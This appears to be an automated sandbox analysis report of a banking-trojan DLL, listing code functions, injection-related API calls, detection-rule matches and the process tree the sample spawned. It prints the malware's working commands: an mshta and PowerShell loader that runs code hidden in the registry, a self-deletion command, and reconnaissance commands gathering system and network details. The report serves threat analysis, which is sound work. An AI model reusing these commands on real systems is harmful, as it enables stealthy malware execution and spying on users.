                      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 4_2_05DF37F44_2_05DF37F4
                      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 4_2_05DD8FA64_2_05DD8FA6
                      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 4_2_05DD1E504_2_05DD1E50
                      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 4_2_05DEC3A94_2_05DEC3A9
                      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 4_2_05DF0B0E4_2_05DF0B0E
                      Source: C:\Windows\System32\control.exeCode function: 26_2_00943B6426_2_00943B64
                      Source: C:\Windows\System32\control.exeCode function: 26_2_00948C3026_2_00948C30
                      Source: C:\Windows\System32\control.exeCode function: 26_2_00938D2026_2_00938D20
                      Source: C:\Windows\System32\control.exeCode function: 26_2_0095681426_2_00956814
                      Source: C:\Windows\System32\control.exeCode function: 26_2_0094F83C26_2_0094F83C
                      Source: C:\Windows\System32\control.exeCode function: 26_2_0095A84C26_2_0095A84C
                      Source: C:\Windows\System32\control.exeCode function: 26_2_0095099C26_2_0095099C
                      Source: C:\Windows\System32\control.exeCode function: 26_2_0095C1CC26_2_0095C1CC
                      Source: C:\Windows\System32\control.exeCode function: 26_2_0094B91026_2_0094B910
                      Source: C:\Windows\System32\control.exeCode function: 26_2_0093711C26_2_0093711C
                      Source: C:\Windows\System32\control.exeCode function: 26_2_0095613826_2_00956138
                      Source: C:\Windows\System32\control.exeCode function: 26_2_0093C96C26_2_0093C96C
                      Source: C:\Windows\System32\control.exeCode function: 26_2_00931AF426_2_00931AF4
                      Source: C:\Windows\System32\control.exeCode function: 26_2_0093A2F826_2_0093A2F8
                      Source: C:\Windows\System32\control.exeCode function: 26_2_0093D2EC26_2_0093D2EC
                      Source: C:\Windows\System32\control.exeCode function: 26_2_0095324826_2_00953248
                      Source: C:\Windows\System32\control.exeCode function: 26_2_0095AB8426_2_0095AB84
                      Source: C:\Windows\System32\control.exeCode function: 26_2_009443BC26_2_009443BC
                      Source: C:\Windows\System32\control.exeCode function: 26_2_0093DBAC26_2_0093DBAC
                      Source: C:\Windows\System32\control.exeCode function: 26_2_00955BD426_2_00955BD4
                      Source: C:\Windows\System32\control.exeCode function: 26_2_00958BD826_2_00958BD8
                      Source: C:\Windows\System32\control.exeCode function: 26_2_0095833C26_2_0095833C
                      Source: C:\Windows\System32\control.exeCode function: 26_2_0093133826_2_00931338
                      Source: C:\Windows\System32\control.exeCode function: 26_2_0093433826_2_00934338
                      Source: C:\Windows\System32\control.exeCode function: 26_2_0094D36C26_2_0094D36C
                      Source: C:\Windows\System32\control.exeCode function: 26_2_0094DC8C26_2_0094DC8C
                      Source: C:\Windows\System32\control.exeCode function: 26_2_0095CCC426_2_0095CCC4
                      Source: C:\Windows\System32\control.exeCode function: 26_2_0094FCEC26_2_0094FCEC
                      Source: C:\Windows\System32\control.exeCode function: 26_2_0094845426_2_00948454
                      Source: C:\Windows\System32\control.exeCode function: 26_2_00934C5426_2_00934C54
                      Source: C:\Windows\System32\control.exeCode function: 26_2_00956C4026_2_00956C40
                      Source: C:\Windows\System32\control.exeCode function: 26_2_0093E46426_2_0093E464
                      Source: C:\Windows\System32\control.exeCode function: 26_2_0094ADF026_2_0094ADF0
                      Source: C:\Windows\System32\control.exeCode function: 26_2_0094050026_2_00940500
                      Source: C:\Windows\System32\control.exeCode function: 26_2_00947D5026_2_00947D50
                      Source: C:\Windows\System32\control.exeCode function: 26_2_0094E57826_2_0094E578
                      Source: C:\Windows\System32\control.exeCode function: 26_2_0095765026_2_00957650
                      Source: C:\Windows\System32\control.exeCode function: 26_2_0094167826_2_00941678
                      Source: C:\Windows\System32\control.exeCode function: 26_2_0095B7AC26_2_0095B7AC
                      Source: C:\Windows\System32\control.exeCode function: 26_2_009347E426_2_009347E4
                      Source: C:\Windows\System32\control.exeCode function: 26_2_0094BF1426_2_0094BF14
                      Source: C:\Windows\System32\control.exeCode function: 26_2_0095970826_2_00959708
                      Source: C:\Windows\System32\control.exeCode function: 26_2_00931F3426_2_00931F34
                      Source: C:\Windows\System32\rundll32.exeCode function: 40_2_0000028A77753B6440_2_0000028A77753B64
                      Source: C:\Windows\System32\rundll32.exeCode function: 40_2_0000028A77758C3040_2_0000028A77758C30
                      Source: C:\Windows\System32\rundll32.exeCode function: 40_2_0000028A7776A84C40_2_0000028A7776A84C
                      Source: C:\Windows\System32\rundll32.exeCode function: 40_2_0000028A7776613840_2_0000028A77766138
                      Source: C:\Windows\System32\rundll32.exeCode function: 40_2_0000028A7774711C40_2_0000028A7774711C
                      Source: C:\Windows\System32\rundll32.exeCode function: 40_2_0000028A7775B91040_2_0000028A7775B910
                      Source: C:\Windows\System32\rundll32.exeCode function: 40_2_0000028A7776B7AC40_2_0000028A7776B7AC
                      Source: C:\Windows\System32\rundll32.exeCode function: 40_2_0000028A7775F83C40_2_0000028A7775F83C
                      Source: C:\Windows\System32\rundll32.exeCode function: 40_2_0000028A7776681440_2_0000028A77766814
                      Source: C:\Windows\System32\rundll32.exeCode function: 40_2_0000028A777447E440_2_0000028A777447E4
                      Source: C:\Windows\System32\rundll32.exeCode function: 40_2_0000028A7775167840_2_0000028A77751678
                      Source: C:\Windows\System32\rundll32.exeCode function: 40_2_0000028A7776765040_2_0000028A77767650
                      Source: C:\Windows\System32\rundll32.exeCode function: 40_2_0000028A77741F3440_2_0000028A77741F34
                      Source: C:\Windows\System32\rundll32.exeCode function: 40_2_0000028A7775BF1440_2_0000028A7775BF14
                      Source: C:\Windows\System32\rundll32.exeCode function: 40_2_0000028A7776970840_2_0000028A77769708
                      Source: C:\Windows\System32\rundll32.exeCode function: 40_2_0000028A7775E57840_2_0000028A7775E578
                      Source: C:\Windows\System32\rundll32.exeCode function: 40_2_0000028A77757D5040_2_0000028A77757D50
                      Source: C:\Windows\System32\rundll32.exeCode function: 40_2_0000028A7775ADF040_2_0000028A7775ADF0
                      Source: C:\Windows\System32\rundll32.exeCode function: 40_2_0000028A7776CCC440_2_0000028A7776CCC4
                      Source: C:\Windows\System32\rundll32.exeCode function: 40_2_0000028A7775DC8C40_2_0000028A7775DC8C
                      Source: C:\Windows\System32\rundll32.exeCode function: 40_2_0000028A7774E46440_2_0000028A7774E464
                      Source: C:\Windows\System32\rundll32.exeCode function: 40_2_0000028A77744C5440_2_0000028A77744C54
                      Source: C:\Windows\System32\rundll32.exeCode function: 40_2_0000028A7775845440_2_0000028A77758454
                      Source: C:\Windows\System32\rundll32.exeCode function: 40_2_0000028A77748D2040_2_0000028A77748D20
                      Source: C:\Windows\System32\rundll32.exeCode function: 40_2_0000028A7775050040_2_0000028A77750500
                      Source: C:\Windows\System32\rundll32.exeCode function: 40_2_0000028A7775FCEC40_2_0000028A7775FCEC
                      Source: C:\Windows\System32\rundll32.exeCode function: 40_2_0000028A777543BC40_2_0000028A777543BC
                      Source: C:\Windows\System32\rundll32.exeCode function: 40_2_0000028A7774DBAC40_2_0000028A7774DBAC
                      Source: C:\Windows\System32\rundll32.exeCode function: 40_2_0000028A7776AB8440_2_0000028A7776AB84
                      Source: C:\Windows\System32\rundll32.exeCode function: 40_2_0000028A7775D36C40_2_0000028A7775D36C
                      Source: C:\Windows\System32\rundll32.exeCode function: 40_2_0000028A77766C4040_2_0000028A77766C40
                      Source: C:\Windows\System32\rundll32.exeCode function: 40_2_0000028A77768BD840_2_0000028A77768BD8
                      Source: C:\Windows\System32\rundll32.exeCode function: 40_2_0000028A77765BD440_2_0000028A77765BD4
                      Source: C:\Windows\System32\rundll32.exeCode function: 40_2_0000028A7776833C40_2_0000028A7776833C
                      Source: C:\Windows\System32\rundll32.exeCode function: 40_2_0000028A7774133840_2_0000028A77741338
                      Source: C:\Windows\System32\rundll32.exeCode function: 40_2_0000028A7774433840_2_0000028A77744338
                      Source: C:\Windows\System32\rundll32.exeCode function: 40_2_0000028A7774D2EC40_2_0000028A7774D2EC
                      Source: C:\Windows\System32\rundll32.exeCode function: 40_2_0000028A7774A2F840_2_0000028A7774A2F8
                      Source: C:\Windows\System32\rundll32.exeCode function: 40_2_0000028A77741AF440_2_0000028A77741AF4
                      Source: C:\Windows\System32\rundll32.exeCode function: 40_2_0000028A7776099C40_2_0000028A7776099C
                      Source: C:\Windows\System32\rundll32.exeCode function: 40_2_0000028A7774C96C40_2_0000028A7774C96C
                      Source: C:\Windows\System32\rundll32.exeCode function: 40_2_0000028A7776324840_2_0000028A77763248
                      Source: C:\Windows\System32\rundll32.exeCode function: 40_2_0000028A7776C1CC40_2_0000028A7776C1CC
                      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 4_2_05DE488B CreateProcessAsUserW,4_2_05DE488B
                      Source: C:\Windows\System32\mshta.exeKey opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXEJump to behavior
                      Source: d6YCUW421p.dllStatic PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, DLL
                      Source: 00000012.00000003.457911317.0000023DBE700000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: SUSP_LNK_SuspiciousCommands date = 2018-09-18, author = Florian Roth, description = Detects LNK file with suspicious content, score =
                      Source: Process Memory Space: powershell.exe PID: 6856, type: MEMORYSTRMatched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
                      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 4_2_04AB3A9C NtMapViewOfSection,4_2_04AB3A9C
                      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 4_2_04AB4695 NtOpenProcess,NtOpenProcessToken,NtQueryInformationToken,NtQueryInformationToken,NtQueryInformationToken,memcpy,NtClose,NtClose,4_2_04AB4695
                      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 4_2_04AB25D7 GetProcAddress,NtCreateSection,memset,4_2_04AB25D7
                      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 4_2_04AB8441 NtQueryVirtualMemory,4_2_04AB8441
                      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 4_2_05DDDDDD GetProcAddress,NtCreateSection,memset,4_2_05DDDDDD
                      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 4_2_05DEF5FF memset,NtWow64QueryInformationProcess64,GetProcAddress,NtWow64QueryInformationProcess64,4_2_05DEF5FF
                      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 4_2_05DEAD9E NtAllocateVirtualMemory,NtAllocateVirtualMemory,RtlNtStatusToDosError,SetLastError,4_2_05DEAD9E
                      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 4_2_05DE5D9D NtQueryInformationProcess,4_2_05DE5D9D
                      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 4_2_05DD94A5 NtMapViewOfSection,4_2_05DD94A5
                      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 4_2_05DE44A5 GetProcAddress,NtWow64QueryInformationProcess64,StrRChrA,4_2_05DE44A5
                      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 4_2_05DE5CA1 GetSystemTimeAsFileTime,HeapCreate,NtQueryInformationThread,GetModuleHandleA,RtlImageNtHeader,RtlExitUserThread,4_2_05DE5CA1
                      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 4_2_05DD1C78 NtWow64ReadVirtualMemory64,GetProcAddress,NtWow64ReadVirtualMemory64,4_2_05DD1C78
                      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 4_2_05DDCF88 memcpy,memcpy,memcpy,NtUnmapViewOfSection,NtClose,memset,4_2_05DDCF88
                      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 4_2_05DEB628 NtWriteVirtualMemory,NtWriteVirtualMemory,RtlNtStatusToDosError,SetLastError,4_2_05DEB628
                      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 4_2_05DE312E RtlInitializeCriticalSection,RtlInitializeCriticalSection,memset,RtlInitializeCriticalSection,CreateMutexA,GetLastError,GetLastError,CloseHandle,GetUserNameA,GetUserNameA,RtlAllocateHeap,GetUserNameA,NtQueryInformationProcess,OpenProcess,GetLastError,CloseHandle,GetShellWindow,GetWindowThreadProcessId,memcpy,CreateEventA,CreateEventA,RtlAllocateHeap,OpenEventA,CreateEventA,GetLastError,LoadLibraryA,SetEvent,RtlAllocateHeap,wsprintfA,4_2_05DE312E
                      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 4_2_05DF12F1 NtOpenProcess,NtOpenProcessToken,NtQueryInformationToken,NtQueryInformationToken,NtQueryInformationToken,memcpy,NtClose,NtClose,4_2_05DF12F1
                      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 4_2_05DE264B NtQueryInformationThread,GetLastError,RtlNtStatusToDosError,4_2_05DE264B
                      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 4_2_05DEC1C2 NtReadVirtualMemory,RtlNtStatusToDosError,SetLastError,4_2_05DEC1C2
                      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 4_2_05DE5188 NtQueryKey,NtQueryKey,lstrlenW,NtQueryKey,lstrcpyW,4_2_05DE5188
                      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 4_2_05DD29B2 NtGetContextThread,RtlNtStatusToDosError,4_2_05DD29B2
                      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 4_2_05DDA085 memset,NtQueryInformationProcess,4_2_05DDA085
                      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 4_2_05DE5830 OpenProcess,GetLastError,GetProcAddress,NtSetInformationProcess,RtlNtStatusToDosError,GetProcAddress,GetProcAddress,TerminateThread,ResumeThread,CloseHandle,GetLastError,CloseHandle,4_2_05DE5830
                      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 4_2_05DD1B92 NtQuerySystemInformation,RtlNtStatusToDosError,4_2_05DD1B92
                      Source: C:\Windows\SysWOW64\rundll32.exeCode function: 4_2_05DD7A1E memset,memcpy,NtSetContextThread,RtlNtStatusToDosError,GetLastError,4_2_05DD7A1E
                      Source: C:\Windows\System32\control.exeCode function: 26_2_009410B4 NtMapViewOfSection,26_2_009410B4
                      Source: C:\Windows\System32\control.exeCode function: 26_2_009379AC NtSetInformationProcess,CreateRemoteThread,ResumeThread,FindCloseChangeNotification,26_2_009379AC
                      Source: C:\Windows\System32\control.exeCode function: 26_2_009359D4 NtCreateSection,26_2_009359D4
                      Source: C:\Windows\System32\control.exeCode function: 26_2_009332C0 RtlAllocateHeap,NtQueryInformationProcess,26_2_009332C0
                      Source: C:\Windows\System32\control.exeCode function: 26_2_00932B58 NtWriteVirtualMemory,26_2_00932B58
                      Source: C:\Windows\System32\control.exeCode function: 26_2_00957DB4 NtQueryInformationToken,NtQueryInformationToken,NtClose,26_2_00957DB4
                      Source: C:\Windows\System32\control.exeCode function: 26_2_00938D20 NtSetContextThread,NtUnmapViewOfSection,NtClose,26_2_00938D20
                      Source: C:\Windows\System32\control.exeCode function: 26_2_00957D48 NtQueryInformationProcess,26_2_00957D48
                      Source: C:\Windows\System32\control.exeCode function: 26_2_00953FD4 NtAllocateVirtualMemory,26_2_00953FD4
                      Source: C:\Windows\System32\control.exeCode function: 26_2_00944F74 NtReadVirtualMemory,26_2_00944F74
                      Source: C:\Windows\System32\control.exeCode function: 26_2_0096E011 NtProtectVirtualMemory,NtProtectVirtualMemory,26_2_0096E011
                      Source: C:\Windows\System32\rundll32.exeCode function: 40_2_0000028A77767DB4 NtQueryInformationToken,NtQueryInformationToken,NtClose,40_2_0000028A77767DB4
                      Source: C:\Windows\System32\rundll32.exeCode function: 40_2_0000028A77767D48 NtQueryInformationProcess,40_2_0000028A77767D48
                      Source: C:\Windows\System32\rundll32.exeCode function: 40_2_0000028A7777E011 NtProtectVirtualMemory,NtProtectVirtualMemory,40_2_0000028A7777E011
                      Source: d6YCUW421p.dllStatic PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\Documents\20220422Jump to behavior
                      Source: classification engineClassification label: mal100.spre.bank.troj.spyw.evad.winDLL@77/41@6/5
                      Source: C:\Windows\System32\mshta.exeFile read: C:\Users\user\Desktop\desktop.iniJump to behavior
                      Source: RuntimeBroker.exe, 0000002E.00000000.662112672.000001EF3603C000.00000004.00000001.00020000.00000000.sdmp, RuntimeBroker.exe, 0000002E.00000000.643755136.000001EF3603C000.00000004.00000001.00020000.00000000.sdmp, RuntimeBroker.exe, 0000002E.00000000.667351916.000001EF3603C000.00000004.00000001.00020000.00000000.sdmp, RuntimeBroker.exe, 0000002E.00000000.629748643.000001EF3603C000.00000004.00000001.00020000.00000000.sdmp, RuntimeBroker.exe, 0000002E.00000002.895031811.000001EF36050000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: em.Sln
                      Source: d6YCUW421p.dllVirustotal: Detection: 36%
                      Source: d6YCUW421p.dllReversingLabs: Detection: 33%
                      Source: C:\Windows\System32\loaddll32.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
                      Source: unknownProcess created: C:\Windows\System32\loaddll32.exe loaddll32.exe "C:\Users\user\Desktop\d6YCUW421p.dll"
                      Source: C:\Windows\System32\loaddll32.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\d6YCUW421p.dll",#1
                      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\d6YCUW421p.dll",#1
                      Source: C:\Windows\System32\loaddll32.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 408 -s 604
                      Source: C:\Windows\System32\loaddll32.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 408 -s 612
                      Source: C:\Windows\System32\loaddll32.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 408 -s 640
                      Source: unknownProcess created: C:\Windows\System32\mshta.exe C:\Windows\System32\mshta.exe" "about:<hta:application><script>Qq47='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(Qq47).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\54E80703-A337-A6B8-CDC8-873A517CAB0E\\\TestLocal'));if(!window.flag)close()</script>
                      Source: C:\Windows\System32\mshta.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name ffrhac -value gp; new-alias -name ulgwgd -value iex; ulgwgd ([System.Text.Encoding]::ASCII.GetString((ffrhac "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn))
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\vqkyohgm\vqkyohgm.cmdline
                      Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES5B2D.tmp" "c:\Users\user\AppData\Local\Temp\vqkyohgm\CSCBF795D6899604BF9A48E638AB671C4FD.TMP"
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\g2letrfe\g2letrfe.cmdline
                      Source: C:\Windows\SysWOW64\rundll32.exeProcess created: C:\Windows\System32\control.exe C:\Windows\system32\control.exe -h
                      Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES71E1.tmp" "c:\Users\user\AppData\Local\Temp\g2letrfe\CSC71DE0290BB9F401583CAD01729BF75D7.TMP"
                      Source: C:\Windows\explorer.exeProcess created: C:\Windows\System32\BackgroundTransferHost.exe "BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.1
                      Source: C:\Windows\explorer.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\user\Desktop\d6YCUW421p.dll
                      Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                      Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\PING.EXE ping localhost -n 5
                      Source: C:\Windows\System32\control.exeProcess created: C:\Windows\System32\rundll32.exe "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL -h
                      Source: C:\Windows\explorer.exeProcess created: C:\Windows\System32\cmd.exe cmd /C "nslookup myip.opendns.com resolver1.opendns.com > C:\Users\user\AppData\Local\Temp\6B3A.bi1"
                      Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                      Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\nslookup.exe nslookup myip.opendns.com resolver1.opendns.com
                      Source: C:\Windows\explorer.exeProcess created: C:\Windows\System32\cmd.exe cmd /C "echo -------- >> C:\Users\user\AppData\Local\Temp\6B3A.bi1"
                      Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                      Source: C:\Windows\explorer.exeProcess created: C:\Windows\System32\cmd.exe cmd /C "systeminfo.exe > C:\Users\user\AppData\Local\Temp\DFA5.bin1"
                      Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                      Source: C:\Windows\explorer.exeProcess created: C:\Windows\System32\cmd.exe cmd /C "echo -------- >> C:\Users\user\AppData\Local\Temp\DFA5.bin1"
                      Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                      Source: C:\Windows\explorer.exeProcess created: C:\Windows\System32\cmd.exe cmd /C "net view >> C:\Users\user\AppData\Local\Temp\DFA5.bin1"
                      Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                      Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\net.exe net view
                      Source: C:\Windows\explorer.exeProcess created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\syswow64\cmd.exe" /C pause dll mail, ,
                      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                      Source: C:\Windows\explorer.exeProcess created: C:\Windows\System32\cmd.exe cmd /C "echo -------- >> C:\Users\user\AppData\Local\Temp\DFA5.bin1"
                      Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                      Source: C:\Windows\explorer.exeProcess created: C:\Windows\System32\cmd.exe cmd /C "nslookup 127.0.0.1 >> C:\Users\user\AppData\Local\Temp\DFA5.bin1"
                      Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                      Source: C:\Windows\System32\loaddll32.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\d6YCUW421p.dll",#1Jump to behavior
                      Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\d6YCUW421p.dll",#1Jump to behavior
                      Source: C:\Windows\SysWOW64\rundll32.exeProcess created: C:\Windows\System32\control.exe C:\Windows\system32\control.exe -hJump to behavior
                      Source: C:\Windows\System32\mshta.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name ffrhac -value gp; new-alias -name ulgwgd -value iex; ulgwgd ([System.Text.Encoding]::ASCII.GetString((ffrhac "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn))Jump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\vqkyohgm\vqkyohgm.cmdlineJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\g2letrfe\g2letrfe.cmdlineJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES5B2D.tmp" "c:\Users\user\AppData\Local\Temp\vqkyohgm\CSCBF795D6899604BF9A48E638AB671C4FD.TMP"
                      Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES71E1.tmp" "c:\Users\user\AppData\Local\Temp\g2letrfe\CSC71DE0290BB9F401583CAD01729BF75D7.TMP"
                      Source: C:\Windows\System32\control.exeProcess created: C:\Windows\System32\rundll32.exe "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL -h
                      Source: C:\Windows\explorer.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\user\Desktop\d6YCUW421p.dll
                      Source: C:\Windows\explorer.exeProcess created: C:\Windows\System32\cmd.exe cmd /C "nslookup myip.opendns.com resolver1.opendns.com > C:\Users\user\AppData\Local\Temp\6B3A.bi1"
                      Source: C:\Windows\explorer.exeProcess created: C:\Windows\System32\cmd.exe cmd /C "echo -------- >> C:\Users\user\AppData\Local\Temp\6B3A.bi1"
                      Source: C:\Windows\explorer.exeProcess created: C:\Windows\System32\cmd.exe cmd /C "systeminfo.exe > C:\Users\user\AppData\Local\Temp\DFA5.bin1"
                      Source: C:\Windows\explorer.exeProcess created: C:\Windows\System32\cmd.exe cmd /C "echo -------- >> C:\Users\user\AppData\Local\Temp\DFA5.bin1"
                      Source: C:\Windows\explorer.exeProcess created: C:\Windows\System32\cmd.exe cmd /C "net view >> C:\Users\user\AppData\Local\Temp\DFA5.bin1"
                      Source: C:\Windows\explorer.exeProcess created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\syswow64\cmd.exe" /C pause dll mail, ,
                      Source: C:\Windows\explorer.exeProcess created: C:\Windows\System32\cmd.exe cmd /C "echo -------- >> C:\Users\user\AppData\Local\Temp\DFA5.bin1"
                      Source: C:\Windows\explorer.exeProcess created: C:\Windows\System32\cmd.exe cmd /C "nslookup 127.0.0.1 >> C:\Users\user\AppData\Local\Temp\DFA5.bin1"
                      Source: C:\Windows\explorer.exeProcess created: C:\Windows\System32\BackgroundTransferHost.exe "BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.1
                      Source: C:\Windows\explorer.exeProcess created: unknown unknown
                      Source: C:\Windows\explorer.exeProcess created: unknown unknown
                      Source: C:\Windows\explorer.exeProcess created: unknown unknown
                      Source: C:\Windows\explorer.exeProcess created: unknown unknown
                      Source: C:\Windows\explorer.exeProcess created: unknown unknown
                      Source: C:\Windows\explorer.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                      Source: C:\Windows\explorer.exeProcess created: unknown unknown
                      Source: C:\Windows\explorer.exeProcess created: unknown unknown
                      Source: C:\Windows\explorer.exeProcess created: unknown unknown
                      Source: C:\Windows\explorer.exeProcess created: unknown unknown
                      Source: C:\Windows\explorer.exeProcess created: unknown unknown
                      Source: C:\Windows\explorer.exeProcess created: unknown unknown
                      Source: C:\Windows\explorer.exeProcess created: unknown unknown
                      Source: C:\Windows\explorer.exeProcess created: unknown unknown
                      Source: C:\Windows\explorer.exeProcess created: C:\Windows\System32\nslookup.exe nslookup myip.opendns.com resolver1.opendns.com
                      Source: C:\Windows\explorer.exeProcess created: unknown unknown
